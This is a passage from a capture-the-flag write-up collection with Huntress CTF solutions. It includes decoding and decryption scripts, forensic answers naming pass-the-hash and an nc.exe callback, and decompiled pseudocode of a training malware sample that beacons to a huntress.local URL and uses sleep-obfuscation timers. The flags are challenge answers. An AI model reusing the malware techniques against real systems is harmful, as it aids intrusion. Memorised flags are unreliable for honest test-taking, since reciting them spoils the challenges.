sys.exit(1)
pcap_file = sys.argv[1]
decoded_output = extract_hid_data(pcap_file)
print("Decoded string:", decoded_output)
Output:
1
2
3
4
5
6
┌──(kali㉿kali)-[~/Downloads/keyboard]
└─$ python3 decoder2.py hid.pcap
WARNING: PcapReader: unknown LL type [220]/[0xdc]. Using Raw packets
Decoded string: ??mso the answer is flag??[?f7733e0093b7d281dd0a30fcf34a9634??]? hahahah lol
??c
Flag: flag{f7733e0093b7d281dd0a30fcf34a9634}
Little Shop of Hashes
Author: Austin Worline, Jose Oregon, and Adrian Garcia
Category: Forensics
In the packet, secrets lie, Whispers of data pass by, Encrypted shadows creep, While the watchful eyes peep.
For this challenge, I haven’t written a full write-up; I’ve only noted the questions and their corresponding answers.
Little Shop of Hashes Part 1
What is the name of the service that the attacker ran and stopped, which dumped hashes on the first compromised host?
Answer: Remote Registry
Little Shop of Hashes Part 2
What lateral movement technique did the threat actor use to move to the other machine?
Answer: Pass the Hash
Little Shop of Hashes Part 3
What is the full path of the binary that the threat actor used to access the privileges of a different user with explicit credentials?
Answer: C:\Users\DeeDee\Documents\runasc.exe
Little Shop of Hashes Part 4
How many accounts were compromised by the threat actor?
Answer: 3
Little Shop of Hashes Part 5
What is the full path of the binary that was used to attempt a callback to the threat actor’s machine?
Answer: C:\Users\DeeDee\Documents\nc.exe
Sekiro
Author: @HuskyHacks
Category: Miscellaneous
お前はもう死んでいる
This challenge is a game that needs to be beaten. The trick is to automate it since your responses need to be lightning fast; otherwise, the game will disconnect itself. I tried manually playing the game a couple of times to understand the rules. The opponent attacks with a move, and you must respond with the corresponding counter move. Below are the rules of the game, so if the opponent uses strike, I should respond with block, and so forth:
1
2
3
4
"strike": "block",
"retreat": "strike",
"advance": "retreat",
"block": "advance"
Below is the transcript of the game.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
┌──(kali㉿kali)-[~/huntress/sekiro]
└─$ nc challenge.ctf.games 32184
⠀⠀⠀⢰⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠘⡇⠀⠀⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢷⠀⢠⢣⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢘⣷⢸⣾⣇⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣿⣿⣿⣹⣿⣿⣷⣿⣆⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢼⡇⣿⣿⣽⣶⣶⣯⣭⣷⣶⣿⣿⣶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠸⠣⢿⣿⣿⣿⣿⡿⣛⣭⣭⣭⡙⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠿⠿⠿⢯⡛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣾⣿⡿⡷⢿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⡔⣺⣿⣿⣽⡿⣿⣿⣿⣟⡳⠦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣭⣾⣿⠃⣿⡇⣿⣿⡷⢾⣭⡓⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣾⣿⡿⠷⣿⣿⡇⣿⣿⣟⣻⠶⣭⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣋⣵⣞⣭⣮⢿⣧⣝⣛⡛⠿⢿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣀⣀⣠⣶⣿⣿⣿⣿⡿⠟⣼⣿⡿⣟⣿⡇⠀⠙⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⡼⣿⣿⣿⢟⣿⣿⣿⣷⡿⠿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠉⠁⠀⢉⣭⣭⣽⣯⣿⣿⢿⣫⣮⣅⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣿⣟⣽⣿⣿⣿⣿⣾⣿⣿⣯⡛⠻⢷⣶⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢀⡞⣾⣿⣿⣿⣿⡟⣿⣿⣽⣿⣿⡿⠀⠀⠀⠈⠙⠛⠿⣶⣤⣄⡀⠀⠀
⠀⠀⠀⣾⣸⣿⣿⣷⣿⣿⢧⣿⣿⣿⣿⣿⣷⠁⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⢷⣦
⠀⠀⠀⡿⣛⣛⣛⣛⣿⣿⣸⣿⣿⣿⣻⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⢸⡇⣿⣿⣿⣿⣿⡏⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢰⣶⣶⣶⣾⣿⢃⣿⣿⣿⣿⣯⣿⣭⠁
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
------ 迷えば敗れる ------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Opponent move: advance
Your move: retreat
Opponent move: strike
Your move: block
Opponent move: strike
Your move: block
Opponent move: block
Your move: strike
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-------------- 死 --------------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
You have been disconnected. Goodbye.
I made a Python script that could connect to the server and automate the responses. After 12 moves, it outputs the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import socket
import time
import re
def connect_to_server(host, port):
"""Establish a connection to the server."""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s
def receive_move(sock):
"""Receive the opponent's move from the server."""
try:
buffer = ""
while True:
# Read data in smaller chunks
data = sock.recv(1024).decode(errors='replace') # Replace undecodable bytes with replacement character
if not data: # No data means the connection is closed
break
buffer += data
# Check if the buffer contains a complete message
if "\n" in buffer:
break
response = buffer.strip() # Strip any extraneous whitespace
print(f"Received: {response}")
return response
except Exception as e:
print(f"Error receiving move: {e}")
return ""
def send_move(sock, move):
"""Send your move to the server."""
try:
sock.sendall((move + '\n').encode()) # Send the move followed by a newline
except Exception as e:
print(f"Error sending move: {e}")
def main():
host = "challenge.ctf.games"
port = 32184
# Connect to the server
sock = connect_to_server(host, port)
# Dictionary to map opponent moves to your responses
move_responses = {
"strike": "block",
"retreat": "strike",
"advance": "retreat",
"block": "advance"
}
try:
while True:
# Receive the opponent's move
opponent_move = receive_move(sock)
if not opponent_move:
print("No response from server, exiting.")
break
# Check for specific prompts or indicators of moves
match = re.search(r'Opponent move:\s*(\w+)', opponent_move, re.IGNORECASE)
if match:
opponent_action = match.group(1).lower()
print(f"Opponent move detected: {opponent_action}")
# Determine your move based on the opponent's move
your_move = move_responses.get(opponent_action, "invalid") # Get your response from the dictionary
if your_move != "invalid":
# Send your move to the server
print(f"Sending: {your_move}")
send_move(sock, your_move)
else:
print("Invalid opponent move, no response sent.")
else:
print("No valid opponent move detected, waiting...")
# Optional: Adjust waiting time or logic based on your observations
time.sleep(1)
except KeyboardInterrupt:
print("Ending the session.")
finally:
sock.close() # Ensure the socket is closed on exit
if __name__ == "__main__":
main()
The script is a bit janky, but it gets the job done.
1
2
3
4
5
6
7
8
9
10
11
12
13
Opponent move: advance
Your move:
Opponent move detected: advance
Sending: retreat
⠇eceived: ⠋
No valid opponent move detected, waiting...
⠏
~~~~~~~~~~~~~~~~~~ 忍殺! ~~~~~~~~~~~~~~~~~~~~
flag{a1ae4e5604576818132ce3bfebe95de5}
No valid opponent move detected, waiting...
Received:
No response from server, exiting.
Flag: flag{a1ae4e5604576818132ce3bfebe95de5}
Stack It
Author: @sudo_Rem
Category: Reverse Engineering
Our team of security analysts recently worked through a peculiar Lumma sample. The dentists helping us advised we floss at least twice a day to help out. He also gave us this weird file. Maybe you can help us out.
I opened the file in Binary Ninja and found the main function of the program. Next, I opened the file in gdb and set a breakpoint at *0x0804907b
, where the program exits. Finally, I inspected the memory at the location of the flag.
1
2
3
4
5
6
7
(gdb) run
Starting program: /home/kali/huntress/stackit/stack_it.bin
Hello, World!
Breakpoint 1, 0x0804907b in ?? ()
(gdb) x/s 0x804a050
0x804a050: "flag{b4234f4bba4685dc84d6ee9a48e9c106}"
(gdb)
Flag: flag{b4234f4bba4685dc84d6ee9a48e9c106}
GoCrackMe1
Author: @HuskyHacks
Category: Reverse Engineering
TENNNNNN-HUT! Welcome to the Go Dojo, gophers in training! Go malware is on the rise. So we need you to sharpen up those Go reverse engineering skills. We’ve written three simple CrackMe programs in Go to turn you into Go-binary reverse engineering ninjas! First up is the easiest of the three. Go get em!
I opened the file in Binary Ninja and found the main.main
function of the program. I then pasted it into ChatGPT to help me understand what it was doing. I got it to create a Python script that would deobfuscate the flag.
1
2
3
4
5
6
# Reverse the XOR operation
obfuscated_string = "0:71-44coc``3dg0cc3c`nf2cno0e24435f0n+"
key = 0x56
original_chars = [chr(ord(char) ^ key) for char in obfuscated_string]
original_string = ''.join(original_chars)
print(original_string)
1
2
3
┌──(kali㉿kali)-[~/Downloads/go]
└─$ python3 script.py
flag{bb59566e21f55e5680d589f3dbbec0f8}
Flag: flag{bb59566e21f55e5680d589f3dbbec0f8}
1200 Transmissions
Author: @daveAThuntress
Category: Miscellaneous
Wait, there aren’t actually 1200 transmissions in this file, are there?
For this challenge i used mimimodem
which according to https://www.whence.com/minimodem/ is: Minimodem is a command-line program which decodes (or generates) audio modem tones at any specified baud rate, using various framing protocols. It acts a general-purpose software FSK modem, and includes support for various standard FSK protocols such as Bell103, Bell202, RTTY, TTY/TDD, NOAA SAME, and Caller-ID.
I basically stomped on this tool when googling tools to decode this file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/Downloads/1200]
└─$ minimodem -r -f transmissions.wav 1200
### CARRIER 1200 @ 1200.0 Hz ###
Greetings, Professor Falken.
Would you like to play a game?
flag{f28d133e7174c412c1e39b4a84158fa3}
Thanks for playing the Huntress CTF!
@
@@
@@@@
@@@@ @@@@@@ @@ @@@@@@@@
@@@@@@ @@@@@@@ @ @ @@@@
@@@@@@@@@@@@@@ @@@ @@ @@@
@@@@@@# @@@@@@@@@@@ @@@@@@@@ @@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@
@@ @@@@@@@@@@@@@@@ @@
@@@@@@@@@@@@/@@@@@@@@@ @(~ @@
@@ @@@@@@@@@@@ @@@@ @@@@ @@@
@@@ @@@@.@@@@@@@@ @@@@@ @@@@ @@
@@@ @@@*%@@@@ @@@ @@@@ @@@@@
@@@ @ @@@@@@@@@ @@@@@
@@@@. @@@@@@@@ @@@@
@@@@@@@@@ @@@@@ @@
@@
@ -dk
### NOCARRIER ndata=663 confidence=4.773 ampl=1.001 bps=1200.00 (rate perfect) ###
Flag: flag{f28d133e7174c412c1e39b4a84158fa3}
Echo Chamber
Author: @JohnHammond#6971
Category: Scripting
Is anyone there? Is anyone there? I’m sending myself the flag! I’m sending myself the flag!
For this challenge, we are given a PCAP file where a flag is hidden inside it. When you open the file, there are more than 32,000 packets. I used the script below to filter out only the Echo Reply packets and extract the ICMP payload (the data):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from scapy.all import *
# Load the pcap file
packet = rdpcap('echo_chamber.pcap')
# Initialize an empty list to store the decoded data
data = []
# Loop through each packet
for pac in packet:
# Check if it's an ICMP packet and if it's an Echo Reply (ICMP type 0)
if pac.haslayer(ICMP) and pac[ICMP].type == 0:
# Extract the ICMP payload
if pac.haslayer(Raw):
# Get the last 8 bytes of the payload and decode
try:
decoded_data = pac[Raw].load[-8:].decode("utf-8")
data.append(decoded_data)
except UnicodeDecodeError:
# Handle decoding errors if any (if the data isn't valid UTF-8)
pass
# Join and print the decoded data
print("".join(data))
At the end of the output from the terminal, I saw this:
1
@@@@@@@@ GGGGGGGG""""""""3333333322222222NNNNNNNNxxxxxxxxXXXXXXXX>>>>>>>>nnnnnnnn~~~~~~~~MMMMMMMMEEEEEEEEEEEEEEEE44444444########################yyyyyyyy########IIIIIIII********!!!!!!!!@@@@@@@@xxxxxxxx""""""""@@@@@@@@FFFFFFFFjjjjjjjj@@@@@@@@ HHHHHHHHdddddddd````````FFFFFFFF""""""""▒▒▒▒▒▒▒▒@@@@@@@@ DDDDDDDDFFFFFFFFjjjjjjjj@@@@@@@@ HHHHHHHHdddddddd````````FFFFFFFF""""""""OOOOOOOOxxxxxxxx........ttttttttEEEEEEEEXXXXXXXXttttttttccccccccaaaaaaaappppppppttttttttiiiiiiiioooooooonnnnnnnnffffffffllllllllaaaaaaaagggggggg}}}}}}ssssssssDDDDDDDDttttttttEEEEEEEEXXXXXXXXttttttttccccccccaaaaaaaappppppppttttttttiiiiiiiioooooooonnnnnnnn::::::::lllllllliiiiiiiinnnnnnnneeeeeeeessssssss11111111========IIIIIIIIEEEEEEEENNNNNNNNDDDDDDDDBBBBBBBB````````^[[?1;2c
The end of it looked like a flag, and I manually just entered the flag.
Flag:flag{6b38aa917a754d8bf384dc73fde633ad}
X-RAY
Author: @JohnHammond
Category: Malware
The SOC detected malware on a host, but antivirus already quarantined it… can you still make sense of what it does?
I used John Hammonds video about Recover Quarantined Malware to figure out how to recreate the originale malware file.
So from that video i figured out how to use DeXRAY to see the original file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/huntress/xray]
└─$ ./DeXRAY.pl x-ray
=================================================================
dexray v2.34, copyright by Hexacorn.com, 2010-2024
Trend&Kaspersky decryption based on code by Optiv
McAfee BUP decryption code by Brian Maloney
Much better Symantec VBN support code by Brian Maloney
Kaspersky System Watcher decryption by Luis Rocha&Antonio Monaca
Sentinel One decryption research by MrAdz350
Microsoft AV/Security Essentials by Corey Forman /fetchered/
Cisco AMP research by @r0ns3n
Thx to Brian Baskin, James Habben, Brian Maloney, Luis Rocha,
Antonio Monaca, MrAdz350, Corey Forman /fetchered/, @r0ns3n
Tony, Jordan Meurer, Oskar, RevD17, Roman D.
=================================================================
Processing file: 'x-ray'
-> 'x-ray.00000184_Defender.out' - Defender File
-> ofs='184' (000000B8)
Running the file
command tells me what I am dealing with:
1
2
3
┌──(kali㉿kali)-[~/huntress/xray]
└─$ file x-ray.00000184_Defender.out
x-ray.00000184_Defender.out: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
I then transfered the file to a windows VM and used IlSpy to analyze the dll file.
In the file there is a StageTwo
and a Main(String[]): Void
function and in that we find:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
.method public hidebysig static
void Main (
string[] args
) cil managed
{
// Method begins at RVA 0x3318
// Header size: 12
// Code size: 66 (0x42)
.maxstack 3
.locals init (
[0] uint8[],
[1] uint8[]
)
// new StageTwo().main("", new StreamReader(Console.OpenStandardInput()));
IL_0000: newobj instance void stagetwo.StageTwo::.ctor()
IL_0005: ldstr ""
IL_000a: call class [mscorlib]System.IO.Stream [mscorlib]System.Console::OpenStandardInput()
IL_000f: newobj instance void [mscorlib]System.IO.StreamReader::.ctor(class [mscorlib]System.IO.Stream)
IL_0014: callvirt instance void stagetwo.StageTwo::main(object, object)
// byte[] data = load("15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c");
IL_0019: ldstr "15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c"
IL_001e: call uint8[] stagetwo.StageTwo::load(string)
// byte[] key = load("73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41");
IL_0023: ldstr "73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41"
IL_0028: call uint8[] stagetwo.StageTwo::load(string)
IL_002d: stloc.0
// byte[] bytes = otp(data, key);
IL_002e: ldloc.0
IL_002f: call uint8[] stagetwo.StageTwo::otp(uint8[], uint8[])
IL_0034: stloc.1
// Encoding.UTF8.GetString(bytes);
IL_0035: call class [mscorlib]System.Text.Encoding [mscorlib]System.Text.Encoding::get_UTF8()
IL_003a: ldloc.1
IL_003b: callvirt instance string [mscorlib]System.Text.Encoding::GetString(uint8[])
IL_0040: pop
// }
IL_0041: ret
} // end of method StageTwo::Main
The hardcoded strings represents the data and key to get the flag. I got a python script to do it for me:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import binascii
# Hex strings from the C# code
data_hex = "15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c"
key_hex = "73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41"
# Convert the hex strings to byte arrays
data_bytes = binascii.unhexlify(data_hex)
key_bytes = binascii.unhexlify(key_hex)
# Ensure both data and key have the same length (OTP usually requires this)
if len(data_bytes) != len(key_bytes):
raise ValueError("Data and Key lengths do not match!")
# OTP Decryption (XOR operation between each byte of data and key)
decrypted_bytes = bytes([d ^ k for d, k in zip(data_bytes, key_bytes)])
# Convert the decrypted bytes to a UTF-8 string
decoded_message = decrypted_bytes.decode('utf-8')
# Output the result
print(f"Decrypted message: {decoded_message}")
Flag: flag{df26090565cb329fdc8357080700b621}
eepy
Author: @HuskyHacks
Category: Malware
yawn why am i so eeeeeeeeepy?
I am not strong in reverse engineering, so I rely a lot of ChatGPT to analyse it for me, and then deduct from that what to do next. Basically I loaded the main function into ChatGPT and then ask it to explain to me what the different functions did and went from there. It also explained the procces, to do this writeup. I am using BinaryNinja to decompile the eepy.exe file. The analysis begins with the main function in the executable, which contains the following pseudocode:
1
2
3
4
5
6
7
8
void main() {
sub_140001620();
while (true) {
sub_140002d00();
sub_140002840(0xfa0);
}
}
The sub_140002d00
function performs the following operations:
- Opens an internet connection using
InternetOpenA
. If successful, it opens a URL using
InternetOpenUrlA
:1 2
int64_t hInternet = InternetOpenA("Mozilla/5.0 ...", 1, nullptr, nullptr, 0); int64_t hInternet_1 = InternetOpenUrlA(hInternet, "http://supermegasus.huntress.local...", nullptr, 0, 0x80000000, 0);
- Closes the handles for the internet connection.
Next, I then analyzed the sub_140002840
function, It appeared to initialize several variables and set up timer queues:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
{
sub_140002610(0x2280);
int32_t var_2244 = 0;
void var_21f0;
__builtin_memset(&var_21f0, 0, 0x4d0);
HANDLE phNewTimer = nullptr;
void s;
__builtin_memset(&s, 0, 0x4d0);
void var_1850;
__builtin_memset(&var_1850, 0, 0x4d0);
void var_1380;
__builtin_memset(&var_1380, 0, 0x4d0);
void var_eb0;
__builtin_memset(&var_eb0, 0, 0x4d0);
void var_9e0;
__builtin_memset(&var_9e0, 0, 0x4d0);
void var_510;
__builtin_memset(&var_510, 0, 0x4d0);
void var_2216;
__builtin_memcpy(&var_2216, &data_140003020, 0x26);
sub_140002830(&var_2216, 0x26);
void* var_2230 = &var_2216;
int64_t var_2238 = 0x2600000026;
HANDLE hHandle = CreateEventW(nullptr, 0, 0, nullptr);
HANDLE TimerQueue = CreateTimerQueue();
WAITORTIMERCALLBACK Callback = GetProcAddress(GetModuleHandleA("Ntdll"), "NtContinue");
int64_t rax_2 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
HMODULE rax_3 = GetModuleHandleA(nullptr);
HMODULE var_2220 = rax_3;
int32_t rax_5 = *(uint32_t*)((rax_3 + ((int64_t)*(int64_t*)((char*)rax_3 + 0x3c))) + 0x50);
enum WORKER_THREAD_FLAGS Flags = WT_EXECUTEINTIMERTHREAD;
int32_t var_2224 = rax_5;
int32_t var_2228 = rax_5;
void* var_2258 = &var_21f0;
if (CreateTimerQueueTimer(&phNewTimer, TimerQueue, RtlCaptureContext, &var_21f0, 0, 0, Flags) != 0)
{
void* Parameter = &s;
enum WAIT_EVENT (* const var_2270_1)(HANDLE hHandle, uint32_t dwMilliseconds) = WaitForSingleObject;
WaitForSingleObject(hHandle, 0x32);
uint64_t rax_7 = ((uint64_t)rax_5);
__builtin_memcpy(Parameter, var_2258, 0x4d0);
__builtin_memcpy(&var_1850, var_2258, 0x4d0);
__builtin_memcpy(&var_1380, var_2258, 0x4d0);
__builtin_memcpy(&var_eb0, var_2258, 0x4d0);
__builtin_memcpy(&var_9e0, var_2258, 0x4d0);
__builtin_memcpy(&var_510, var_2258, 0x4d0);
HMODULE var_1ca0_1 = rax_3;
uint64_t var_1c98_1 = rax_7;
BOOL (* const var_1c28_1)(void* lpAddress, uint64_t dwSize, enum PAGE_PROTECTION_FLAGS flNewProtect, enum PAGE_PROTECTION_FLAGS* lpflOldProtect) = VirtualProtect;
int32_t* var_1c60_1 = &var_2244;
int64_t var_1c88;
int64_t var_1c88_1 = (var_1c88 - 8);
int64_t var_17b8;
int64_t var_17b8_1 = (var_17b8 - 8);
int64_t var_1c68_1 = 4;
int64_t var_1758_1 = rax_2;
uint64_t var_958_1 = rax_7;
uint64_t var_12f8_1 = ((uint64_t)arg1);
enum WAIT_EVENT (* const var_1288_1)(HANDLE hHandle, uint32_t dwMilliseconds) = var_2270_1;
HMODULE var_960_1 = rax_3;
int64_t* var_17c8_1 = &var_2238;
int64_t* var_e28_1 = &var_2238;
BOOL (* const var_8e8_1)(void* lpAddress, uint64_t dwSize, enum PAGE_PROTECTION_FLAGS flNewProtect, enum PAGE_PROTECTION_FLAGS* lpflOldProtect) = VirtualProtect;
int32_t* var_920_1 = &var_2244;
int64_t var_12e8;
int64_t var_12e8_1 = (var_12e8 - 8);
int64_t var_e18;
int64_t var_e18_1 = (var_e18 - 8);
int64_t var_948;
int64_t var_948_1 = (var_948 - 8);
int64_t var_478;
int64_t var_478_1 = (var_478 - 8);
int32_t* var_17d0_1 = &var_2228;
int64_t var_1300_1 = -1;
int64_t var_db8_1 = rax_2;
int32_t* var_e30_1 = &var_2228;
int64_t var_928_1 = 0x40;
BOOL (* const var_418_1)(HANDLE hEvent) = SetEvent;
HANDLE hHandle_1 = hHandle;
CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, Parameter, 0x64, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, &var_1850, 0xc8, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, &var_1380, 0x12c, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, &var_eb0, 0x190, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, &var_9e0, 0x1f4, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&phNewTimer, TimerQueue, Callback, &var_510, 0x258, 0, WT_EXECUTEINTIMERTHREAD);
var_2270_1(hHandle, 0xffffffff);
}
return DeleteTimerQueue(TimerQueue);
}
- Calls
sub_140002610(0x2280)
. - Initializes several structures and prepares for timers.
- Creates multiple timer queue timers with a callback to
RtlCaptureContext
, usingCreateTimerQueueTimer
.
The function sub_140002610
is responsible for managing memory operations. It decrements a pointer based on the input argument:
1
2
3
4
5
6
7
if (arg1 >= 0x1000) {
do {
rcx -= 0x1000;
*(uint64_t*)rcx = *(uint64_t*)rcx;
arg1 -= 0x1000;
} while (arg1 > 0x1000);
}
The function sub_140002830
performs a bitwise XOR operation on the data buffer:
1
2
3
4
while (arg2 > result) {
arg1[result] ^= 0xaa;
result += 1;
}
The data buffer data_140003020
is analyzed, containing the following hexadecimal values:
1
2
3
4
cc c6 cb cd d1 98 cc cf c8 99 cc cc 92 cb 98 9b
cb 99 9c ce c8 9b cb ce 99 92 9c ce 99 99 cb 98
93 ce 92 9f cb d7 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
The decryption process is implemented in Python to reveal the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Original data (as hexadecimal bytes)
data = [
0xcc, 0xc6, 0xcb, 0xcd, 0xd1, 0x98, 0xcc, 0xcf,
0xc8, 0x99, 0xcc, 0xcc, 0x92, 0xcb, 0x98, 0x9b,
0xcb, 0x99, 0x9c, 0xce, 0xc8, 0x9b, 0xcb, 0xce,
0x99, 0x92, 0x9c, 0xce, 0x99, 0x99, 0xcb, 0x98,
0x93, 0xce, 0x92, 0x9f, 0xcb, 0xd7, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
# Decryption process
decrypted = [byte ^ 0xAA for byte in data]
decrypted_string = ''.join(chr(byte) if 31 < byte < 127 else '.' for byte in decrypted)
print(decrypted_string)
Flag:flag{2feb3ff8a21a36db1ad386d33a29d85a}
Strive Marish Leadman TypeCDR
Author: @aenygma
Category: Cryptography
Looks like primo hex garbage. Maybe something went wrong? Can you make sense of it?
The challenge links to RSA is deceptively simple and fun which describe how RSA works.
Python to solve the challenge:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Given hexadecimal values
p_hex = 'e8b1f49b4b95ab14be267695cd95df37083a2eca18459d1deeae0d4bdaf309bf42735a9eef73630b5020d652d7c80f5b4876f84f54ef72765ae3412568c1a7b5'
q_hex = 'db1f7bbf03f05137c101627b213e04813e5426270486af9d634a00c5e7cf650a478765d90c6ef3d032d7a1223ca40d4378cc73095ad9d35d12fb2f8835655ccb'
d_hex = '238002140888d7ffd77e862ef3318edafd69caca2bad9bdd916b392c01c4fb169ea3365578c9ce89ba3fdcbe475a26515975e5d785afeab7126976c242c303ed86cb0c3d21de97e686e6f1437190f5127b3ec3dac7b78e21713dfd0f0e5f2fdd494ee895d01bb6b54ee7f99ae447ac8b1a792ecaf3858f82b3eed6983825f109'
e_hex = '10001' # no '0x' prefix
n_hex = 'c72cda489957d42ee39543292a98028de3bedecbea847e649f4d65ea045c6a972052834a9ac126fa6dbef9ab5cde004bbc91f1df99120bae5275a0658c449cac817dbe1d4c8f0822d4874ba111fd58b778bfb5e8edafa6fb41d38cb35b3be5627e7a5813b63995249d5d126c06a64b731948b4f709421e2f8d32d9974d3e0887'
# Convert hex to integers
p = int(p_hex, 16)
q = int(q_hex, 16)
d = int(d_hex, 16)
n = int(n_hex, 16)
# Ciphertext provided
ciphertext_hex = '950b8fd21ea8c96bb8c926f2312a1918388c8b1fe57afba40d52c59b150c68ca6e7a4537d67b3d89ceb383d5795f467805e251c0be71afff42478928c70dcfe8ef327126f4a157c29dd8ab65d050df2a7b42c4f8c85ac7e046367a6e1a11970fe53ac0a35b112c1d2e5309986c1bfdbcfd550587f5ba7ad4bf652f51f90b4d3c'
ciphertext = int(ciphertext_hex, 16)
# Decrypting the message
decrypted_message = pow(ciphertext, d, n)
# Convert the decrypted message back to bytes or string
decrypted_bytes = decrypted_message.to_bytes((decrypted_message.bit_length() + 7) // 8, 'big')
decrypted_text = decrypted_bytes.decode(errors='ignore')
# Output the results
print("Decrypted message (bytes):", decrypted_bytes)
print("Decrypted message (string):", decrypted_text)
Flag: flag{cf614b15ac1dd461a2e48afdfe21b8e8}
Plantopia
Author: @HuskyHacks
Category: Web
Plantopia is our brand new, cutting edge plant care management website! Built for hobbiests and professionals alike, it’s your one stop shop for all plant care management. Please perform a penetration test ahead of our site launch and let us know if you find anything.
